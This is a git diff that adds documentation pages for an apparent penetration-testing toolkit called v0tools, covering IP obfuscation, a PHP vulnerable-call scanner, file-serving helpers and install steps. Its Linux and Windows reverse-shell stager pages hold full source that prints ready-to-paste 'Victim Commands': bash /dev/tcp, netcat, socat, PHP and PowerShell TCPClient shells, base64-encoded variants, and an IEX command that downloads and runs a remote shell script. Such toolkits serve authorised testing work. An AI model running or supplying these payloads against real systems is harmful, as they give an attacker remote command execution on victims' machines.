+{{< /tab >}} +{{< tab "Help" >}} + +```bash +usage: ip_urls.py [-h] ip + +Generate a list of obfuscated ip variations and print to stdout. + +positional arguments: + ip ip address + +optional arguments: + -h, --help show this help message and exit +``` + +{{< /tab >}} +{{< tab "Source" >}} + +```python +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""Generate a list of obfuscated ip variations and print to stdout.""" +from v0tools.ips import get_urls +from v0tools.lib.log import get_log +from v0tools.cli import Cli, exceptions +import ipaddress + +LOG = get_log() +cli = Cli() +cli.parser.add_argument( + "ip", + help="ip address", + type=str, +) + + +def main(args): + """Run main function.""" + LOG.info(f"Showing IP Variations for {args.ip}") + try: + ok = ipaddress.ip_address(args.ip) + except ValueError: + ok = None + if not ok: + raise exceptions.InvalidIp(args.ip) + get_urls(args.ip) + + +cli.set_entrypoint(main) + +if __name__ == "__main__": + # args = cli.get_parse("--help") + # args = cli.get_parse("172.217.5.110") + # args = cli.get_parse("172.217.5") + args = cli.get_parse() + cli.run(args) + +``` + +{{< /tab >}} +{{< /tabs >}} diff --git a/docs/content/commands/linrshell.md b/docs/content/commands/linrshell.md new file mode 100644 index 0000000..2248a1c --- /dev/null +++ b/docs/content/commands/linrshell.md @@ -0,0 +1,152 @@ +--- +description: Linux Reverse Shell stager. +geekdocAlign: left +geekdocDescription: Linux Reverse Shell stager. +title: linrshell.py +weight: 10 + +--- + +> **Linux Reverse Shell stager.** + +{{< tabs "6d412b22cf1df06e0312f6c5730d31d1" >}} +{{< tab "Screencast" >}} +
+ +
+{{< /tab >}} +{{< tab "Help" >}} + +```bash +usage: linrshell.py [-h] [--interface INTERFACE] [--ipv {4,6}] [-p PORT] [--rshell RSHELL] [--list] + +Linux Reverse Shell stager. + +optional arguments: + -h, --help show this help message and exit + --interface INTERFACE, -i INTERFACE + network interface: i.e. tun0, eth0, if undefined, an fzf prompt will appear + --ipv {4,6} IP Version + -p PORT, --port PORT Directory or file path. + --rshell RSHELL, -s RSHELL + Reverse shell type nc,socat + --list, -l List reverse shell types +``` + +{{< /tab >}} +{{< tab "Source" >}} + +```python +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""Linux Reverse Shell stager.""" +import argparse +from v0tools.lib import util +from v0tools import ansi, syspkgs, cli +from base64 import b64encode +from pyfzf.pyfzf import FzfPrompt +import os + + +def _socat(args): + """Raw TTY socat listener + + Runs: socat file:`tty`,raw,echo=0 tcp-listen:{args.port} + """ + remote_commands = [ + f"socat exec:'__SH__ -i',pty,stderr,setsid,sigint,sane tcp:{args.address}:{args.port}", + ] + lcmd = f"socat file:`tty`,raw,echo=0 tcp-listen:{args.port}" + _print_remote(remote_commands) + _print_local(lcmd) + os.system(lcmd) + + +def _nc(args): + """Netcat Listener + + Runs: nc -nklv {args.address} {args.port}" + """ + lcmd = f"nc -nklv {args.address} {args.port}" + remote_commands = [ + f"__SH__ -i >& /dev/tcp/{args.address}/{args.port} 0>&1", + f"mkfifo /tmp/{args.rstr};cat /tmp/{args.rstr}|__SH__ -i 2>&1|nc {args.address} {args.port} /tmp/{args.rstr}", + f'php -r \'$sock=fsockopen("{args.address}",{args.port});exec("__SH__ -i <&3 >&3 2>&3");\'', + ] + _print_remote(remote_commands) + _print_local(lcmd) + os.system(lcmd) + + +SH_MAP = { + "nc": _nc, + "socat": _socat, +} + +cli = cli.Cli() + +parser = cli.parser +cli.add_ipv_interface() +cli.add_port() + +parser.add_argument( + "--rshell", + "-s", + help=f"Reverse shell type {','.join(SH_MAP.keys())}", + type=str, +) + +parser.add_argument( + "--list", + "-l", + help="List reverse shell types", + action="store_true", + default=False, +) + + +def _print_remote(remote_commands): + print(ansi.banner("Victim Commands:")) + for sh in ["sh", "bash"]: + print(ansi.section(sh)) + for i in remote_commands: + sval = f"{i}".replace("__SH__", sh) + print(f"{sval} &") + print(f"echo {b64encode(sval.encode()).decode()} | base64 -d | {sh} &") + print() + + +def _print_local(lcmd): + print(ansi.banner("Victim staging copy pasta:")) + print(util.rshell_stagetxt()) + print(ansi.banner(f"Starting listener: {lcmd}")) + + +def main(args): + """Run main function.""" + SH_MAP[args.rshell](args) + + +if __name__ == "__main__": + args = cli.get_parse() + syspkgs.check_installs(["nc", "socat"]) + # args = parser.parse_args(["-l"]) + # args = parser.parse_args(["-i", "tun0", "-p", "36185"]) + if args.list: + for k, func in SH_MAP.items(): + print(f"{k}:") + for line in func.__doc__.split("\n"): + print(f"\t{line.strip()}") + raise SystemExit() + args.rstr = util.randstr() + args.fzf = FzfPrompt() + if not args.rshell: + args.rshell = args.fzf.prompt(SH_MAP.keys())[0] + main(args) + +``` + +{{< /tab >}} +{{< /tabs >}} diff --git a/docs/content/commands/php_search_vuln.md b/docs/content/commands/php_search_vuln.md new file mode 100644 index 0000000..2bd600d --- /dev/null +++ b/docs/content/commands/php_search_vuln.md @@ -0,0 +1,144 @@ +--- +description: 'Search for vulnerable calls / strings in php code. + + + Example Repo: https://github.com/OWASP/Vulnerable-Web-Application.git' +geekdocAlign: left +geekdocDescription: 'Search for vulnerable calls / strings in php code. + + + Example Repo: https://github.com/OWASP/Vulnerable-Web-Application.git' +title: php_search_vuln.py +weight: 99 + +--- + +> **Search for vulnerable calls / strings in php code.** +> +> **Example Repo: https://github.com/OWASP/Vulnerable-Web-Application.git** + +{{< tabs "b663ba94b1fdc41f7a0a389617606e94" >}} +{{< tab "Screencast" >}} +
+ +
+{{< /tab >}} +{{< tab "Help" >}} + +```bash +usage: php_search_vuln.py [-h] [--filter FILTER] [--inc_lines INC_LINES] path + +Search for vulnerable calls / strings in php code. + +Example Repo: https://github.com/OWASP/Vulnerable-Web-Application.git + +positional arguments: + path Directory or file path. + +optional arguments: + -h, --help show this help message and exit + --filter FILTER, -f FILTER + i.e. *.php or *.py + --inc_lines INC_LINES, -l INC_LINES + number of lines to include before / after match +``` + +{{< /tab >}} +{{< tab "Source" >}} + +```python +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""Search for vulnerable calls / strings in php code. + +Example Repo: https://github.com/OWASP/Vulnerable-Web-Application.git +""" +from v0tools import exceptions +from v0tools.ansi import green, red, magenta +from v0tools.lib.filesystem import iterfiles +from v0tools.cli import Cli + +VULN_STRINGS = { + # str: url (if applicable) + # "${": None, + b"eval": None, + b"assert": None, + b"preg_replace": None, + b"create_function": None, + b"include": None, + b"require": None, + b"ReflectionFunction": None, + b"invoke": None, + b"serialize": b"https://book.hacktricks.xyz/pentesting-web/deserialization#php", +} + +cli = Cli() + +parser = cli.parser +cli.add_path() + +parser.add_argument( + "--filter", + "-f", + help="i.e. *.php or *.py", + default="*.php", + type=str, +) +parser.add_argument( + "--inc_lines", + "-l", + help="number of lines to include before / after match", + type=int, + default=3, +) + + +def _check_vuln(filename, args): + with open(filename, "rb") as fileh: + lines = list(fileh.readlines()) + for idx, line in enumerate(lines): + for cstr, url in VULN_STRINGS.items(): + if cstr in line: + retlines = lines[idx - args.inc_lines : idx + args.inc_lines] + yield idx, retlines, cstr, url + + +def main(args): + """Run main function.""" + files = [] + fcnt = 0 + for filename in iterfiles(args.path, args.filter): + fcnt += 1 + for idx, lines, cstr, url in _check_vuln(filename, args): + url = green(url) if url else "" + title = magenta(f"\n{filename} : {idx} {url}\n") + print(title) + output = b"".join(lines).replace(cstr, red(cstr.decode()).encode()) + for line in output.splitlines(): + print(f" {line.decode()}") + files.append([idx, filename]) + if fcnt == 0: + raise exceptions.NoAction( + "No files were scanned, maybe try adjusting the filter?" + ) + if not files: + raise exceptions.NoAction(f"Could not find any vulns in dir {args.path}") + print("\n\n") + vimcmd = ["vim"] + [f'-c "tabnew +{ln + 1} {fn}"' for ln, fn in files] + print(magenta(" ".join(vimcmd))) + + +cli.set_entrypoint(main) + +if __name__ == "__main__": + args = cli.get_parse() + # args = cli.get_parse("--help") + # args = cli.get_parse("~/repos/Vulnerable-Web-Application -f '*.php' -l 3") + cli.run(args) + +``` + +{{< /tab >}} +{{< /tabs >}} diff --git a/docs/content/commands/unicodes.md b/docs/content/commands/unicodes.md new file mode 100644 index 0000000..b363cfa --- /dev/null +++ b/docs/content/commands/unicodes.md @@ -0,0 +1,95 @@ +--- +description: print unicode values and associated information to stdout. +geekdocAlign: left +geekdocDescription: print unicode values and associated information to stdout. +title: unicodes.py +weight: 99 + +--- + +> **print unicode values and associated information to stdout.** + +{{< tabs "d2bc39555ba1405a38c6e1860ac479d2" >}} +{{< tab "Screencast" >}} +
+ +
+{{< /tab >}} +{{< tab "Help" >}} + +```bash +usage: unicodes.py [-h] [-f [FILTER [FILTER ...]]] + +print unicode values and associated information to stdout. + +example: + unicodes.py | fzf + +optional arguments: + -h, --help show this help message and exit + -f [FILTER [FILTER ...]], --filter [FILTER [FILTER ...]] + Filter string +``` + +{{< /tab >}} +{{< tab "Source" >}} + +```python +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""print unicode values and associated information to stdout.""" +from v0tools import chars, cli +import os + +dstring = f""" +{__doc__} + +example: + {os.path.basename(__file__)} | fzf +""" + +cli = cli.Cli(dstring) +parser = cli.parser + +parser.add_argument( + "-f", + "--filter", + nargs="*", + help="Filter string", + action="append", + type=str, + required=False, + default=None, +) + + +def main(args): + """Run main function.""" + if args.filter: + fvalues = [i[0] for i in args.filter] + else: + fvalues = [] + for _, i in enumerate(chars.unicodes()): + _int, _hex, _chr, name, uval, htmlent = i.values() + line = f"{_chr} {name} int:{_int} hex:{_hex.zfill(2)} {uval} {htmlent}" + if not fvalues: + print(line, flush=True) + continue + if all([i in line for i in fvalues]): + print(line, flush=True) + + +cli.set_entrypoint(main) + +if __name__ == "__main__": + args = cli.get_parse() + # args = cli.get_parse(["-f", "cat", "-f", "grin"]) + cli.run(args) + # args = cli.get_parse("--help") + +``` + +{{< /tab >}} +{{< /tabs >}} diff --git a/docs/content/commands/v0_bash_complete_msfvenom.md b/docs/content/commands/v0_bash_complete_msfvenom.md new file mode 100644 index 0000000..76760f8 --- /dev/null +++ b/docs/content/commands/v0_bash_complete_msfvenom.md @@ -0,0 +1,59 @@ +--- +description: Sourceable Autocomplete for msfvenom flags. +geekdocAlign: left +geekdocDescription: Sourceable Autocomplete for msfvenom flags. +title: v0_bash_complete_msfvenom.py +weight: 20 + +--- + +> **Sourceable Autocomplete for msfvenom flags.** + +{{< tabs "b537894e61193dd4fa751b8c7a0db5ac" >}} +{{< tab "Screencast" >}} +
+ +
+{{< /tab >}} +{{< tab "Help" >}} + +```bash +usage: v0_bash_complete_msfvenom.py [-h] + +Sourceable Autocomplete for msfvenom flags. + +optional arguments: + -h, --help show this help message and exit +``` + +{{< /tab >}} +{{< tab "Source" >}} + +```python +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""Sourceable Autocomplete for msfvenom flags.""" +from v0tools.msf import get_venom_auto_complete +from v0tools.cli import Cli + + +def main(args): + """Run main function.""" + print("##### Venom Autocomplete", flush=True) + print(get_venom_auto_complete(), flush=True) + + +cli = Cli() +cli.set_entrypoint(main) +cli.set_required_binaries(["msfvenom"]) + +if __name__ == "__main__": + args = cli.get_parse() + cli.run(args) + +``` + +{{< /tab >}} +{{< /tabs >}} diff --git a/docs/content/commands/v0serv.md b/docs/content/commands/v0serv.md new file mode 100644 index 0000000..2867066 --- /dev/null +++ b/docs/content/commands/v0serv.md @@ -0,0 +1,86 @@ +--- +description: HTTP Serve a directory, or serve a single isolated file. +geekdocAlign: left +geekdocDescription: HTTP Serve a directory, or serve a single isolated file. +title: v0serv.py +weight: 20 + +--- + +> **HTTP Serve a directory, or serve a single isolated file.** + +{{< tabs "51fe5bc2ee3531b6e12278a2177c41af" >}} +{{< tab "Screencast" >}} +
+ +
+{{< /tab >}} +{{< tab "Help" >}} + +```bash +usage: v0serv.py [-h] [--interface INTERFACE] [--ipv {4,6}] [-p PORT] [-d {none,certutil,ps-download,ps-exec}] path + +HTTP Serve a directory, or serve a single isolated file. + +positional arguments: + path Directory or file path. + +optional arguments: + -h, --help show this help message and exit + --interface INTERFACE, -i INTERFACE + network interface: i.e. tun0, eth0, if undefined, an fzf prompt will appear + --ipv {4,6} IP Version + -p PORT, --port PORT Directory or file path. + -d {none,certutil,ps-download,ps-exec}, --display {none,certutil,ps-download,ps-exec} + display type +``` + +{{< /tab >}} +{{< tab "Source" >}} + +```python +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""HTTP Serve a directory, or serve a single isolated file.""" +from v0tools import cli +from v0tools.servers import httpserv + +cli = cli.Cli(__doc__) +cli.add_path() +cli.add_ipv_interface() +cli.add_port() +parser = cli.parser + +parser.add_argument( + "-d", + "--display", + help="display type", + choices=httpserv.SERV_PREFIXES.keys(), + default="none", + type=str, +) + + +def main(args): + """Run main function.""" + httpserv.serve( + args.address, + str(args.port), + args.path, + args.display, + ) + + +cli.set_entrypoint(main) + +if __name__ == "__main__": + args = cli.get_parse() + # args = cli.get_parse("-i lo ./") + cli.run(args) + +``` + +{{< /tab >}} +{{< /tabs >}} diff --git a/docs/content/commands/v0upload.md b/docs/content/commands/v0upload.md new file mode 100644 index 0000000..750f1bc --- /dev/null +++ b/docs/content/commands/v0upload.md @@ -0,0 +1,74 @@ +--- +description: HTTP server that accepts PUT requests from remotes. +geekdocAlign: left +geekdocDescription: HTTP server that accepts PUT requests from remotes. +title: v0upload.py +weight: 20 + +--- + +> **HTTP server that accepts PUT requests from remotes.** + +{{< tabs "9e48072b0ee29e699173479724cb3f20" >}} +{{< tab "Screencast" >}} +
+ +
+{{< /tab >}} +{{< tab "Help" >}} + +```bash +usage: v0upload.py [-h] [--interface INTERFACE] [--ipv {4,6}] [-p PORT] path + +HTTP server that accepts PUT requests from remotes. + +positional arguments: + path Directory or file path. + +optional arguments: + -h, --help show this help message and exit + --interface INTERFACE, -i INTERFACE + network interface: i.e. tun0, eth0, if undefined, an fzf prompt will appear + --ipv {4,6} IP Version + -p PORT, --port PORT Directory or file path. +``` + +{{< /tab >}} +{{< tab "Source" >}} + +```python +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""HTTP server that accepts PUT requests from remotes.""" +from v0tools import cli +from v0tools.servers import httpserv + +cli = cli.Cli() +cli.add_path() +cli.add_ipv_interface() +cli.add_port() + +parser = cli.parser + + +def main(args): + """Run main function.""" + httpserv.uploader( + args.address, + str(args.port), + args.path, + ) + + +cli.set_entrypoint(main) + +if __name__ == "__main__": + args = cli.get_parse() + main(args) + +``` + +{{< /tab >}} +{{< /tabs >}} diff --git a/docs/content/commands/winrshell.md b/docs/content/commands/winrshell.md new file mode 100644 index 0000000..dedb619 --- /dev/null +++ b/docs/content/commands/winrshell.md @@ -0,0 +1,185 @@ +--- +description: Windows Reverse Shell stager. +geekdocAlign: left +geekdocDescription: Windows Reverse Shell stager. +title: winrshell.py +weight: 10 + +--- + +> **Windows Reverse Shell stager.** + +{{< tabs "4b480b83c922c22a2d30154c8eec9696" >}} +{{< tab "Screencast" >}} +
+ +
+{{< /tab >}} +{{< tab "Help" >}} + +```bash +usage: winrshell.py [-h] [-p PORT] [--interface INTERFACE] [--ipv {4,6}] [--rshell RSHELL] [--list] + +Windows Reverse Shell stager. + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Directory or file path. + --interface INTERFACE, -i INTERFACE + network interface: i.e. tun0, eth0, if undefined, an fzf prompt will appear + --ipv {4,6} IP Version + --rshell RSHELL, -s RSHELL + Reverse shell type psh,conpty + --list, -l List reverse shell types +``` + +{{< /tab >}} +{{< tab "Source" >}} + +```python +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""Windows Reverse Shell stager.""" +import argparse +from v0tools.lib import util +from v0tools import ansi, net, fzfhelper, syspkgs +from v0tools.lib.util import powershell_base64_encode +from pyfzf.pyfzf import FzfPrompt +from v0tools.servers import httpserv +from v0tools import Config, cli +import os +import time + +SAVE = r""" +New-Object System.Net.Sockets.TCPClient('__IP__',__PORT__);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() +""" + +PSCMDS = r""" +$client = New-Object System.Net.Sockets.TCPClient('__IP__',__PORT__);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() +""" + + +def _rawshell(args): + """Raw Cons shell listener + + Runs: stty raw -echo; (stty size; cat) | nc -lvnp {args.port} + """ + rows, cols = util.term_rows_cols() + file = Config.V0_POWERSHELL_CONPTY() + # Random port for temporary serv + port = util.randport() + psurl = httpserv.powershell_serv(args.address, str(port), file) + pscmd = f"IEX({psurl}); Invoke-ConPtyShell -RemoteIp {args.address} -RemotePort {args.port} -Rows {rows} -Cols {cols}" + remote_commands = [ + f"powershell -nop -c {pscmd}", + f"powershell -nop -e {powershell_base64_encode(pscmd)}", + ] + lcmd = f"stty raw -echo; (stty size; cat) | nc -lvnp {args.port}" + _print_remote(remote_commands) + _print_local(lcmd) + # small delay to allow the above stuff to finish before the raw terminal + # makes stuff look wonky + time.sleep(2) + os.system(lcmd) + # Reset the tty + os.system("stty sane") + + +def _powershell(args): + """Powershell reverse shell listener + + Runs: rlwrap socat tcp-listen:"{args.port}" STDOUT + """ + + def _repl(src, address, port): + return src.strip().replace("__IP__", address).replace("__PORT__", str(port)) + + pscmds = [ + _repl(i, args.address, args.port) for i in PSCMDS.splitlines() if i.strip() + ] + + remote_commands = [ + f"socat TCP4:{args.address}:{args.port} EXEC:'cmd.exe',pipes", + f"socat TCP4:{args.address}:{args.port} EXEC:'powershell.exe',pipes", + f"ncat.exe {args.address} {args.port} -e powershell.exe", + f"ncat.exe {args.address} {args.port} -e cmd.exe", + ] + + for i in pscmds: + remote_commands.append(f'powershell -nop -c "{i}"') + remote_commands.append(f"powershell -nop -e {powershell_base64_encode(i)}") + + lcmd = f'rlwrap socat tcp-listen:"{args.port}" STDOUT' + _print_remote(remote_commands) + _print_local(lcmd) + os.system(lcmd) + + +SH_MAP = { + "psh": _powershell, + "conpty": _rawshell, +} + +cli = cli.Cli() +cli.add_port() +cli.add_ipv_interface() +parser = cli.parser + +parser.add_argument( + "--rshell", + "-s", + help=f"Reverse shell type {','.join(SH_MAP.keys())}", + type=str, +) + +parser.add_argument( + "--list", + "-l", + help="List reverse shell types", + action="store_true", + default=False, +) + + +def _print_remote(remote_commands): + print(ansi.banner("Victim Commands:")) + for i in remote_commands: + print(f"{i}\n") + + +def _print_local(lcmd): + print(ansi.banner(f"Starting listener: {lcmd}")) + + +def main(args): + """Run main function.""" + SH_MAP[args.rshell](args) + + +if __name__ == "__main__": + syspkgs.check_installs(["nc", "socat", "rlwrap"]) + args = cli.get_parse() + # args = parser.parse_args(["-l"]) + # args = parser.parse_args(["-i", "tun0", "-p", "36185"]) + # args = parser.parse_args(["-i", "tun0"]) + if args.list: + for k, func in SH_MAP.items(): + print(f"{k}:") + for line in func.__doc__.split("\n"): + print(f"\t{line.strip()}") + raise SystemExit() + args.rstr = util.randstr() + args.fzf = FzfPrompt() + if not args.rshell: + if len(SH_MAP) == 1: + args.rshell = list(SH_MAP.keys())[0] + else: + args.rshell = args.fzf.prompt(SH_MAP.keys())[0] + main(args) + +``` + +{{< /tab >}} +{{< /tabs >}} diff --git a/docs/content/configuration/_index.md b/docs/content/configuration/_index.md new file mode 100644 index 0000000..006f653 --- /dev/null +++ b/docs/content/configuration/_index.md @@ -0,0 +1,26 @@ +--- +description: Configuration Options +geekdocAlign: left +geekdocDescription: Configuration Options +title: Configuration +weight: 2 + +--- + +## Environment Variable Configuration Values +{{< hint info >}} +V0_POWERSHELL_CONPTY +{{< /hint >}} +Location of Invoke-ConPtyShell.ps1 + +see: :: + https://github.com/antonioCoco/ConPtyShell +{{< hint info >}} +V0_USER +{{< /hint >}} +Default identifier on the victim machines Default: V0_Rando. +{{< hint info >}} +V0_VENOM_CACHE +{{< /hint >}} +MSF Venom cache for autocomplete and functions +Default ~/.msfvenom_cache.json diff --git a/docs/content/sys_prerequisites/_index.md b/docs/content/sys_prerequisites/_index.md new file mode 100644 index 0000000..c98c248 --- /dev/null +++ b/docs/content/sys_prerequisites/_index.md @@ -0,0 +1,11 @@ +--- +description: System Install Prerequisites +geekdocAlign: left +geekdocDescription: System Install Prerequisites +title: System Install Prerequisites +weight: 5 + +--- + +## System Install Prerequisites +{{< toc-tree >}} diff --git a/docs/content/sys_prerequisites/arch.md b/docs/content/sys_prerequisites/arch.md new file mode 100644 index 0000000..d33b5d1 --- /dev/null +++ b/docs/content/sys_prerequisites/arch.md @@ -0,0 +1,6 @@ + +```bash +# Provides fzf, konsole, socat, rlwrap, ffmpeg, nc, msfvenom, msfconsole, screenkey +sudo pacman -S fzf konsole socat rlwrap ffmpeg nmap metasploit screenkey + +``` diff --git a/docs/content/sys_prerequisites/debian.md b/docs/content/sys_prerequisites/debian.md new file mode 100644 index 0000000..96f6d21 --- /dev/null +++ b/docs/content/sys_prerequisites/debian.md @@ -0,0 +1,12 @@ + +```bash +# Provides fzf, konsole, socat, rlwrap, ffmpeg, nc, msfvenom, msfconsole, screenkey +sudo apt install fzf konsole socat rlwrap ffmpeg ncat screenkey + +# Install msfvenom +curl https://apt.metasploit.com/metasploit-framework.gpg.key | apt-key add - +echo deb http://apt.metasploit.com buster main >> /etc/apt/sources.list +apt update +apt install -y metasploit-framework + +``` diff --git a/docs/content/sys_prerequisites/fedora.md b/docs/content/sys_prerequisites/fedora.md new file mode 100644 index 0000000..125bc36 --- /dev/null +++ b/docs/content/sys_prerequisites/fedora.md @@ -0,0 +1,33 @@ + +```bash +# Provides fzf, konsole, socat, rlwrap, ffmpeg, nc, msfvenom, msfconsole, screenkey +sudo yum -y install konsole socat nmap-ncat screenkey + +# Install fzf +git clone --depth 1 https://github.com/junegunn/fzf.git ~/.fzf +~/.fzf/install +source ~/.bashrc + +# Install rlwrap +sudo yum -y group install "Development Tools" +sudo yum -y install readline-devel +git clone https://github.com/hanslub42/rlwrap.git +cd rlwrap +autoreconf --install +./configure +make +sudo make install + +# Install ffmpeg +sudo yum -y install epel-release +sudo yum -y localinstall --nogpgcheck https://download1.rpmfusion.org/free/el/rpmfusion-free-release-7.noarch.rpm +sudo yum -y install ffmpeg ffmpeg-devel + +# Install msfvenom +curl https://apt.metasploit.com/metasploit-framework.gpg.key > /tmp/msf.asc +rpm --import /tmp/msf.asc +sudo yum -y install yum-utils +sudo yum-config-manager --add-repo=https://rpm.metasploit.com/ +sudo yum -y install metasploit-framework.x86_64 + +``` diff --git a/docs/public/404.html b/docs/public/404.html new file mode 100644 index 0000000..f61416c --- /dev/null +++ b/docs/public/404.html @@ -0,0 +1,126 @@ + + + + + + + + + + + + + + + + + Lost? Don't worry + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
+ + + + + v0tools + + +
+ + + + Toggle Dark/Light/Auto mode + + + + Toggle Dark/Light/Auto mode + + + + Toggle Dark/Light/Auto mode + + + + +
+
+
+ + +
+
+
+ +
+
+
Lost?
+
Error 404
+
+ Seems like what you are looking for can't be found. Don't worry we can + bring you back to the homepage. +
+
+
+
+ + + + +
+ + + diff --git a/docs/public/api/apidocs.css b/docs/public/api/apidocs.css new file mode 100644 index 0000000..67e6d92 --- /dev/null +++ b/docs/public/api/apidocs.css @@ -0,0 +1,369 @@ +body { + overflow-y: scroll; +} + +.navbar { + margin-bottom: 0px; +} + +.page-header { + margin-top: 22px; + position: sticky; + top: 0; + display: flex; + flex-wrap: wrap; + justify-content: space-between; + align-items: baseline; + background-color: #fff; + margin-bottom: 3px; + border-bottom: 0; + box-shadow: 0px 0px 8px 8px #fff; +} +.page-header h1 { + margin-bottom: 0; +} + +.categoryHeader { + font-size: 24px; + color: #777; + margin-bottom: 1.8em; +} + +a[name] { + position: relative; + bottom: 80px; + font-size: 0; +} + +ul { + margin-top: 10px; + padding-left: 10px; +} + +li { + padding-top: 5px; + padding-bottom: 5px; +} + +li a { + text-decoration: none; +} + +ul { + margin-left: 10px; +} + +ul ul { + border-left-color: #e1f5fe; + border-left-width: 1px; + border-left-style: solid; +} + +ul ul ul { + border-left-color: #b3e5fc; +} + +ul ul ul ul { + border-left-color: #81d4fa; +} + +ul ul ul ul ul { + border-left-color: #4fc3f7; +} + +ul ul ul ul ul ul { + border-left-color: #29b6f6; +} + +ul ul ul ul ul ul ul { + border-left-color: #03a9f4; +} + +ul ul ul ul ul ul ul { + border-left-color: #039be5; +} + +.pre { + white-space: pre; +} + +.undocumented { + font-style: italic; + color: #9e9e9e; +} + +.functionBody p { + margin-top: 6px; + margin-bottom: 6px; +} + +#splitTables > p { + margin-bottom: 5px; +} + +#splitTables > table, .fieldTable { + margin-bottom: 20px; + width: 100%; + border: 0; +} + +#splitTables > table { + border: 1px solid #eee; +} + +#splitTables > table tr { + border-bottom-color: #eee; + border-bottom-width: 1px; + border-bottom-style: solid; +} + +#splitTables > table tr td, .fieldTable tr td { + padding: 5px; +} + +#splitTables > table tr td { + border-left-color: #eee; + border-left-width: 1px; + border-left-style: solid; +} + +#splitTables > table tr td:nth-child(1), .fieldTable tr td:nth-child(1) { + border-left: none; + width: 150px; +} + +#splitTables > table tr td:nth-child(2), .fieldTable tr td.fieldArg { + width: 200px; +} + +tr.package { + background-color: #fff3e0; +} + +tr.module { + background-color: #fff8e1; +} + +tr.class, tr.classvariable, tr.baseclassvariable { + background-color: #fffde7; +} + +tr.instancevariable, tr.baseinstancevariable, tr.variable, tr.attribute, tr.property { + background-color: #f3e5f5; +} + +tr.interface { + background-color: #fbe9e7; +} + +tr.method, tr.function, tr.basemethod, tr.baseclassmethod, tr.classmethod { + background-color: #f1f8e9; +} + +tr.private { + background-color: #f1f1f1; +} + +.fieldTable { + margin-top: 10px; +} + +.fieldName { + font-weight: bold; +} + + +#childList > div { + margin: 10px; + padding: 10px; + padding-bottom: 5px; +} + +.functionBody { + margin-left: 15px; +} + +.functionBody > #part { + font-style: italic; +} + +.functionBody > #part > a { + text-decoration: none; +} + +.functionBody .interfaceinfo { + font-style: italic; + margin-bottom: 3px; +} + +.functionBody > .undocumented { + + margin-top: 6px; + margin-bottom: 6px; +} + +/* +- Links to class/function/etc names are nested like this: + label + This applies to inline docstring content marked up as code, + for example L{foo} in epytext or `bar` in restructuredtext, + but also to links that are present in summary tables. +- 'functionHeader' is used for lines like `def func():` and `var =` +*/ +code, .pre, #childList > div .functionHeader, +#splitTables > table tr td:nth-child(2), .fieldTable tr td.fieldArg { + font-family: Menlo, Monaco, Consolas, "Courier New", monospace; +} +code, #childList > div .functionHeader, .fieldTable tr td.fieldArg { + font-size: 90%; + color: #222222; +} +code > a { + color:#c7254e; + background-color:#f9f2f4; +} +/* top navagation bar */ +.page-header > h1 { + margin-top: 0; +} +.page-header > h1 > code { + color: #971c3a; +} + +/* +This defines the code style, it's black on light gray. +It also overwrite the default values inherited from bootstrap min +*/ +code { + padding:2px 4px; + background-color: #f4f4f4; + border-radius:4px +} + + +a.functionSourceLink { + font-weight: normal; +} + + +#childList > div { + border-left-color: #03a9f4; + border-left-width: 1px; + border-left-style: solid; + background: #fafafa; +} + +.moduleDocstring { + margin: 20px; +} + +#partOf { + margin-top: -13px; + margin-bottom: 19px; +} + +.fromInitPy { + font-style: italic; +} + +pre { + padding-left: 0px; +} + +/* Private stuff */ + +body.private-hidden #splitTables .private, +body.private-hidden #childList .private, +body.private-hidden #summaryTree .private { + display: none; +} + +#showPrivate { + padding: 10px; +} + +#current-docs-container { + font-style: italic; + padding-top: 11px; +} + +/* Deprecation stuff */ + +.deprecationNotice { + margin: 10px; +} + +/* Syntax highlighting for source code */ + +.py-string { + color: #337ab7; +} +.py-comment { + color: #309078; + font-style: italic; +} +.py-keyword { + font-weight: bold; +} +.py-defname { + color: #a947b8; + font-weight: bold; +} +.py-builtin { + color: #fc7844; + font-weight: bold; +} + +/* Doctest */ + +pre.py-doctest { + padding: .5em; +} +.py-prompt, .py-more { + color: #a8a8a8; +} +.py-output { + color: #c7254e; +} + +/* Admonitions */ + +div.rst-admonition p.rst-admonition-title:after { + content: ":"; +} + +div.rst-admonition p.rst-admonition-title { + margin: 0; + padding: 0.1em 0 0.35em 0em; + font-weight: bold; +} + +div.rst-admonition p.rst-admonition-title { + color: #333333; +} + +div.rst-admonition { + padding: 8px; + margin-bottom: 20px; + background-color: #EEE; + border: 1px solid #CCC; + border-radius: 4px; +} + +div.warning, div.attention, div.danger, div.error, div.caution { + background-color: #ffcf9cb0; + border: 1px solid #ffbbaa; +} + +div.danger p.rst-admonition-title, div.error p.rst-admonition-title, div.caution p.rst-admonition-title { + color: #b94a48; +} + +div.tip p.rst-admonition-title, div.hint p.rst-admonition-title, div.important p.rst-admonition-title{ + color: #3a87ad; +} + +div.tip, div.hint, div.important { + background-color: #d9edf7; + border-color: #bce8f1; +} diff --git a/docs/public/api/bootstrap.min.css b/docs/public/api/bootstrap.min.css new file mode 100644 index 0000000..cd1c616 --- /dev/null +++ b/docs/public/api/bootstrap.min.css @@ -0,0 